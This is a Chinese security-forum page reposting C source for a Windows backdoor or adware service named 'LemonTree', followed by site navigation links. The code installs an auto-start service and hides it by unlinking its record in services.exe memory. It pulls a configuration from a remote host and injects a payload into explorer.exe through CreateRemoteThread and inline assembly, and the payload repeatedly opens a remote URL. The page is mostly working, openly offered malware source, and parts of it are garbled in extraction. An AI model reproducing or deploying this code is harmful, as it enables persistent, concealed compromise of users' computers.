GetModuleFileName( NULL, filePath, MAX_PATH );
// 如果服务未安装,安装
if( !ServiceExists( filePath ) )
{
if( ServiceInstall( filePath ) != TRUE )
{
return -1;
}
else
{
return 0;
}
}
if( !StartServiceCtrlDispatcher( serviceTable ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return -1;
}
return 0;
}
/
服务入口
/
void ServiceMain( DWORD argc, char argv[] )
{
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAepted = SERVICE_ACCEPT_STOP;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
#ifdef DEBUG
LogToFile( L"ServiceMain: Try to register service\n" );
#endif
hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return;
}
serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return;
}
#ifdef DEBUG
LogToFile( L"ServiceMain: Start service ok\n" );
#endif
// 隐藏服务
HideService( SERVICE_NAME );
// 从网络读取配置
GetConfig( );
// 注入代码
InjectCode( );
serviceStatus.dwCurrentState = SERVICE_STOPPED;
if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: S service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
}
#ifdef DEBUG
LogToFile( L"S service in main.\n" );
#endif
#ifdef DEBUG
LogToFile( L"ServiceMain Done.\n" );
#endif
return;
}
void InjectCode( )
{
if( ! SetDebugPrivilege() )
{
#ifdef DEBUG
LogToFile( L"Set Debug Privileges error.\n" );
#endif
return;
}
DWORD dwPID = -1;
while( 1 )
{
dwPID = GetProcessIdByName( TARGET_PROCESS );
if( -1 != dwPID )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Target process id is %d\n", dwPID );
LogToFile( tmp );
#endif
break;
}
#ifdef DEBUG
LogToFile( L"Target process not found, sleep and continue.\n" );
#endif
Sleep( 30 1000 );
}
Sleep( 2 60 1000 );
// 打开进程
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
if( ! hProcess )
{
#ifdef DEBUG
LogToFile( L"OpenProcess error.\n" );
#endif
return;
}
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
Arguments arguments;
memset( (void )&arguments, 0, sizeof(Arguments) );
HMODULE hKernel = GetModuleHandleA( "kernel32" );
if( hKernel == NULL )
{
#ifdef DEBUG
LogToFile( L"GetModuleHandle kernel32.dll error.\n" );
#endif
return;
}
arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
strcpy( arguments.MyKernelDll, "kernel32.dll" );
strcpy( arguments.MyProgram, IE_PATH );
strcpy( arguments.MyShellDll, "Shell32.dll" );
strcpy( arguments.MyShellExecute, "ShellExecuteA" );
strcpy( arguments.MyUrl, url_path );
strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
arguments.SleepTime = sleep_time;
// 在远程进程中分配内存存放参数,可写权限
Arguments remote_agrument = (Arguments )VirtualAllocEx( hProcess,
0,
sizeof(Arguments),
MEM_COMMIT,
PAGE_READWRITE );
if( !remote_agrument )
{
#ifdef DEBUG
LogToFile( L"VirtualAllocEx for arguments error.\n" );
#endif
return;
}
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
LogToFile( tmp );
#endif
// 将参数写入远程进程内存
int bytes_write;
if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T )&bytes_write) )
{
#ifdef DEBUG
LogToFile( L"WriteProcessMemory for arguments error.\n" );
#endif
return;
}
// 在远程进程中分配内存存放代码,可执行权限
LPVOID remote_func = VirtualAllocEx( hProcess,
0,
REMOTE_FUNC_LENGTH,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
if( !remote_func )
{
#ifdef DEBUG
LogToFile( L"VirtualAllocEx for function error.\n" );
#endif
return;
}
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );
LogToFile( tmp );
#endif
// 将代码写入远程进程内存
if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T )&bytes_write) )
{
#ifdef DEBUG
LogToFile( L"WriteProcessMemory for function error.\n" );
#endif
return;
}
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );
LogToFile( tmp );
#endif
HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
if ( !remote_thread )
{
#ifdef DEBUG
LogToFile( L"CreateRemoteThread for function error.\n" );
#endif
return;
}
#ifdef DEBUG
LogToFile( L"CreateRemoteThread for function ok\n" );
#endif
/
WaitForSingleObject( remote_thread, INFINITE );
if( NULL != remote_func )
{
VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
#ifdef DEBUG
LogToFile( L"VirtualFreeEx for remote_func.\n" );
#endif
}
if( NULL != remote_agrument )
{
VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
#ifdef DEBUG
LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
#endif
}
if( NULL != remote_thread )
{
CloseHandle( remote_thread );
#ifdef DEBUG
LogToFile( L"CloseHandle for remote_thread.\n" );
#endif
}
if( NULL != hProcess )
{
CloseHandle( hProcess );
#ifdef DEBUG
LogToFile( L"CloseHandle for hProcess.\n" );
#endif
}
/
return;
}
void GetConfig( )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
#endif
WSAData wsa;
struct sockaddr_in sin;
memset( &sin, 0, sizeof(struct sockaddr_in) );
if( WSAStartup( 0x0202, &wsa ) != 0 )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
goto getconfig_error;
}
struct hostent phost = gethostbyname( CONFIG_HOST );
if( phost == NULL )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
WSACleanup( );
goto getconfig_error;
}
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
sin.sin_family = AF_INET;
sin.sin_port = htons( 80 );
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR ip[256] = { 0 };
MULTI_TO_WIDE( ip, i_ntoa( sin.sin_addr ));
wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );
LogToFile( tmp );
#endif
SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
if( sock == INVALID_SOCKET )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );
LogToFile( tmp );
#endif
WSACleanup( );
goto getconfig_error;
}
int ret = connect( sock, (struct sockaddr )&sin, sizeof(struct sockaddr_in) );
if( SOCKET_ERROR == ret )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Connect error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
char send_buff[512] = { 0 };
sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAept: /\r\n\r\n", CONFIG_PATH, CONFIG_HOST );
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR tmp2[256] = { 0 };
MULTI_TO_WIDE( tmp2, send_buff );
wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );
LogToFile( tmp );
#endif
ret = send( sock, send_buff, strlen(send_buff), 0 );
if( SOCKET_ERROR == ret )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Send request error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
#ifdef DEBUG
LogToFile( L"Send request ok!\n" );
#endif
char recv_buff[1024] = { 0 };
recv( sock, recv_buff, 1000, 0 );
if( !recv_buff )
{
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
closesocket( sock );
WSACleanup( );
char content = strstr( recv_buff, "\r\n\r\n" );
if( !content )
{
goto getconfig_error;
}
content += strlen("\r\n\r\n");
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR c[256] = { 0 };
MULTI_TO_WIDE( c, content );
wsprintf( tmp, L"Config content is:\n%s\n", c );
LogToFile( tmp );
#endif
char split_flag = strstr( content, "|" );
if( !split_flag )
{
goto getconfig_error;
}
char tmp_time[32] = { 0 };
char tmp_url[512] = { 0 };
if( split_flag - content > 32 )
{
sleep_time = DEFAULT_SLEEP_TIME;
}
else
{
strncpy( tmp_time, content, split_flag - content );
sleep_time = atoi( tmp_time );
}
if( strlen( split_flag ) >= 512 )
{
strcpy( url_path, DEFAULT_URL );
}
else
{
strcpy( url_path, split_flag + 1 );
}
return;
getconfig_error:
sleep_time = DEFAULT_SLEEP_TIME;
strcpy( url_path, DEFAULT_URL );
return;
}
/
记录日志函数
/
#ifdef DEBUG
void LogToFile( WCHAR str )
{
FILE fp;
fp = fopen( DEBUG_LOG, "a" );
fwprintf( fp, L"%s\n", str );
fclose( fp );
}
#endif
这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
代码:
// yunshu(pst) Copy from zzzevazzz(pst)'s code
// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, PSC_SERVICE_RECORD;
typedef struct _SC_SERVICE_PROCESS
{
PSC_SERVICE_PROCESS Previous;
PSC_SERVICE_PROCESS Next;
WCHAR ImagePath;
DWORD Pid;
DWORD NumberOfServices;
// ...
} SC_SERVICE_PROCESS, PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE
{
PSC_DEPEND_SERVICE Next;
DWORD Unknow;
PSC_SERVICE_RECORD Service;
// ...
} SC_DEPEND_SERVICE, PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD
{
PSC_SERVICE_RECORD Previous;
PSC_SERVICE_RECORD Next;
WCHAR ServiceName;
WCHAR DisplayName;
DWORD Index;
DWORD Unknow0;
DWORD sErv;
DWORD ControlCount;
DWORD Unknow1;
PSC_SERVICE_PROCESS Process;
SERVICE_STATUS Status;
DWORD StartType;
DWORD ErrorControl;
DWORD TagId;
PSC_DEPEND_SERVICE DependOn;
PSC_DEPEND_SERVICE Depended;
// ...
} SC_SERVICE_RECORD, PSC_SERVICE_RECORD;
BOOL SetDebugPrivilege()
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid;
TOKEN_PRIVILEGES tp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
if (hToken) CloseHandle(hToken);
return bRet;
}
DWORD GetProcessIdByName(WCHAR Name)
{
BOOL bRet = FALSE;
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
DWORD Pid = -1;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if ( !_wcsicmp(pe32.szExeFile, Name ) )
{
Pid = pe32.th32ProcessID;
break;
}
}
while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
return Pid;
}
// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD Addr, DWORD Value)
{
MEMORY_BASIC_INFORMATION mbi;
DWORD dwOldProtect, dwWritten;
VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
}
//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
WCHAR FileName[MAX_PATH+1];
HANDLE hFile, hFileMap;
UCHAR pMap;
DWORD dwSize, dwSizeHigh, i, dwRead;
SC_SERVICE_RECORD SvcRd, pSvcRd, pRet = NULL;
GetSystemDirectory( FileName, MAX_PATH );
wcscat( FileName, L"\Services.exe");
hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hFile) return NULL;
dwSizeHigh = 0;
dwSize = GetFileSize(hFile, &dwSizeHigh);
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (NULL == hFileMap) return NULL;
pMap = (UCHAR)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
if (NULL == pMap) return NULL;
dwSize -= 12;
for (i=0; i<dwSize; ++i)
{
// 搜索services!ScGetServiceDatabase特征代码
if ((DWORD)(pMap+i) == 0xa1909090 &&
(DWORD)(pMap+i+8) == 0x909090c3)
{
#ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD )(pMap+i) );
LogToFile( tmpBuffer );
#endif
if (ReadProcessMemory(hProcess, (PVOID)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
{
pRet = pSvcRd;
#ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD )(pSvcRd) );
LogToFile( tmpBuffer );
#endif
break;
}
}
}
UnmapViewOfFile(pMap);
CloseHandle(hFileMap);
CloseHandle(hFile);
//printf( "addr: 0x%08x\n", (DWORD )pRet );
return pRet;
}
// 隐藏服务
BOOL HideService( WCHAR Name )
{
DWORD Pid;
HANDLE hProcess;
SC_SERVICE_RECORD SvcRd, pSvcRd;
DWORD dwRead, dwNameSize;
WCHAR SvcName[MAX_PATH] = { 0 };
dwNameSize = ( wcslen(Name) + 1 ) sizeof(WCHAR);
if (dwNameSize > sizeof(SvcName)) return FALSE;
Pid = GetProcessIdByName( TEXT("Services.exe") );
#ifdef DEBUG
WCHAR tmpBuffer1[256] = { 0 };
wsprintf( tmpBuffer1, L"Pid is %d\n", Pid );
LogToFile( tmpBuffer1 );
#endif
if (Pid == -1) return FALSE;
if( ! SetDebugPrivilege() ) return FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (NULL == hProcess) return FALSE;
pSvcRd = FindFirstServiceRecord(hProcess);
if (NULL == pSvcRd)
{
#ifdef DEBUG
LogToFile( L"Can't Find ServiceDatabase.\n" );
#endif
CloseHandle(hProcess);
return FALSE;
}
do
{
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
{
// 匹配服务名
if ( 0 == _wcsicmp(SvcName, Name) )
{
// 从链表中断开(ServiceRecord是可写的,但还是先改保护属性以防万一)
ProtectWriteDword(hProcess, (DWORD )SvcRd.Previous+1, (DWORD)SvcRd.Next);
ProtectWriteDword(hProcess, (DWORD )SvcRd.Next, (DWORD)SvcRd.Previous);
#ifdef DEBUG
WCHAR tmpBuffer2[256] = { 0 };
wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Suessfully.\n", Name );
LogToFile( tmpBuffer1 );
#endif
CloseHandle(hProcess);
return TRUE;
}
}
else
{
break;
}
}
while (pSvcRd = SvcRd.Next);
if( NULL != hProcess )
{
CloseHandle(hProcess);
}
return FALSE;
}
这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
typedef struct _Arguments
{
char MyUrl[512];
char MyProgram[512];
FARPROC MyLoadLibrary;
FARPROC MyGetAddress;
char MyKernelDll[32];
char MyShellDll[32];
char MyZeroMemory[32];
char MyShellExecute[32];
DWORD SleepTime;
}Arguments;
/
WINAPI函数原形
/
typedef HMODULE (__stdcall LOADLIBRARYA)( IN char lpFileName );
typedef FARPROC (__stdcall GETPROCADDRESS)( IN HMODULE hModule, IN char lpProcName );
typedef void (__stdcall ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
void __stdcall CustomFunction( LPVOID my_arguments )
{
Arguments func_args = (Arguments )my_arguments;
LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
DWORD MySleep;
DWORD sleep_time = func_args->SleepTime;
__asm
{
push eax
push esp
sub esp, 6
mov byte ptr [esp], 'S'
mov byte ptr [esp+1], 'l'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'e'
mov byte ptr [esp+4], 'p'
mov byte ptr [esp+5], ''
lea eax, [esp]
push eax
push h_kernel
call GetProcAddress
mov MySleep, eax
add esp, 6
pop esp
pop eax
}
while( 1 )
{
__asm
{
push eax
push esp
push ecx
push ebx
sub esp, 256
mov byte ptr [esp], 'o'
mov byte ptr [esp+1], 'p'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'n'
mov byte ptr [esp+4], ''
lea ebx, [esp]
push SW_SHOWMAXIMIZED
push 0
push func_args
mov ecx, func_args
add ecx, 200h
lea eax, [ecx]
push eax
push ebx
push 0
call MyShellExecuteA
add esp, 256
pop ebx
pop ecx
pop esp
pop eax
push sleep_time
call MySleep
}
}
}
这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
代码:
/
全局变量
/
#define SERVICE_NAME L"LemonTree"
#define SERVICE_DESCRIPTION L"LemonTree"
#define SERVICE_DISPLAY_NAME L"LemonTree"
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatus;
BOOL ServiceInstall( WCHAR ); //安装服务
BOOL ServiceUnstall( WCHAR ); //删除服务
void ServiceControl( DWORD ); //控制服务
BOOL ServiceExists( WCHAR ); //判断服务是否存在
/
安装服务
参数主程序全路径
返回成功返回TRUE,否则为FALSE
/
BOOL ServiceInstall( WCHAR exeFilePath )
{
WCHAR tmpPath[MAX_PATH] = { 0 };
HKEY key;
SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
if ( serviceMangerHandle == 0 )
{
printf( "Install: Open services manager database error: %d\n", GetLastError() );
return FALSE;
}
SC_HANDLE serviceHandle = CreateService
(
serviceMangerHandle ,
SERVICE_NAME ,
SERVICE_DISPLAY_NAME ,
SERVICE_ALL_ACCESS ,
SERVICE_WIN32_OWN_PROCESS ,
SERVICE_AUTO_START ,
SERVICE_ERROR_NORMAL ,
exeFilePath ,
NULL ,
NULL ,
NULL ,
NULL ,
NULL
);
if ( serviceHandle == 0 )
{
printf( "Create service error: %d\n", GetLastError() );
CloseServiceHandle( serviceMangerHandle );
return FALSE;
}
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
wcscat( tmpPath, SERVICE_NAME );
if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
{
printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
return FALSE;
}
RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE )SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
RegCloseKey(key);
if( !StartService( serviceHandle, 0, 0 ) )
{
printf( "Install service ok, but start it error: %d\n", GetLastError() );
}
else
{
printf( "Install service ok, start it ok.\n" );
}
CloseServiceHandle( serviceHandle );
CloseServiceHandle( serviceMangerHandle );
return TRUE;
}
/
删除服务
/
BOOL ServiceUnstall( WCHAR serviceName )
{
SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
if ( scmHandle == NULL )
{
return FALSE;
}
SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
if( scHandle == NULL )
{
CloseServiceHandle( scmHandle );
return FALSE;
}
DeleteService( scHandle );
CloseServiceHandle( scHandle );
CloseServiceHandle( scmHandle );
return TRUE;
}
/
服务控制函数
/
void ServiceControl( DWORD request )
{
#ifdef DEBUG
LogToFile( L"ServiceControl: Into ServiceControl\n" );
#endif
switch ( request )
{
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
#ifdef DEBUG
LogToFile( L"ServiceControl: Try to s service\n" );
#endif
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
#ifdef DEBUG
LogToFile( L"ServiceControl: Error arguments\n" );
#endif
break;
}
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
}
return;
}
BOOL ServiceExists( WCHAR path )
{
WCHAR tmpPath[MAX_PATH] = { 0 };
HKEY key;
WCHAR value[512] = { 0 };
int type = REG_EXPAND_SZ;
int size = sizeof(value);
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
wcscat( tmpPath, SERVICE_NAME );
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
{
//printf( "RegOpenKeyEx Error: %d\n", GetLastError() );
return FALSE;
}
if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD )&type, (BYTE )value, (DWORD )&size ) != ERROR_SUCCESS )
{
//printf( "RegQueryValueEx Error: %d\n", GetLastError() );
return FALSE;
}
if( key ) RegCloseKey( key );
// 如果服务的程序路径等于后门本身,表示已经安装
if( 0 == _wcsicmp( value, path ) )
{
return TRUE;
}
return FALSE;
}
上一篇:木马免杀绝招以及常用的修改方法
下一篇:CSRF—攻击与防御
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座